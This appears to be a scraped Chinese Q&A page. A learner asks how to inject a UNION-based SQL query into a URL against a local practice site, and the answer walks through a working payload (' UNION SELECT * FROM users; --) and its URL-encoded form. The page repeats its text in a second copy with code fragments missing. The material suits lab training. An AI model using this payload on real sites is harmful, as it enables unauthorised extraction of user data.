我得到了一个任务,使SQL注入到一个假的网站,这是专为这一目的。我想知道如何将SQL查询注入URL。例如,
http://localhost:<>/vulnerabilities/webapi/users/<my suffix>/nickname?username=my_id
我有这个URL,我想注入UNION查询,我该怎么做?谢谢
p5cysglq1#
让我们假设您的web查询将被翻译为
SELECT * FROM users WHERE username = 'my_id';
现在,诀窍是用恶意代码替换'my_id'。我假设UNION查询的目的是返回所有用户而不是一个用户。结果应为:
'my_id'
SELECT * FROM users WHERE username = 'my_id' UNION SELECT * FROM users; -- ';
也许原始查询有一个字段列表而不是*。然后,您必须在第二个查询中复制此列表。现在必须输入my_id,而不是my_id
*
my_id
my_id' UNION SELECT * FROM users; --
请注意,我们使用引入注解的--来终止条目。查询机制将通过附加最后一个单引号(可能还有分号)来终止查询。现在它们将变成一个评论。下一个问题是,我们如何正确地为URL转义它。使用在线工具Code Beautify, HTML Escape/Unescape,我们得到:
--
my_id%27%20UNION%20SELECT%20*%20FROM%20users%3B%20--
这给出了完整的URL:
http://localhost:<>/vulnerabilities/webapi/users//nickname?username=my_id%27%20UNION%20SELECT%20*%20FROM%20users%3B%20--
1条答案
按热度按时间p5cysglq1#
让我们假设您的web查询将被翻译为
现在,诀窍是用恶意代码替换
'my_id'
。我假设UNION查询的目的是返回所有用户而不是一个用户。结果应为:也许原始查询有一个字段列表而不是
*
。然后,您必须在第二个查询中复制此列表。现在必须输入
my_id
,而不是my_id
请注意,我们使用引入注解的
--
来终止条目。查询机制将通过附加最后一个单引号(可能还有分号)来终止查询。现在它们将变成一个评论。下一个问题是,我们如何正确地为URL转义它。使用在线工具Code Beautify, HTML Escape/Unescape,我们得到:
这给出了完整的URL: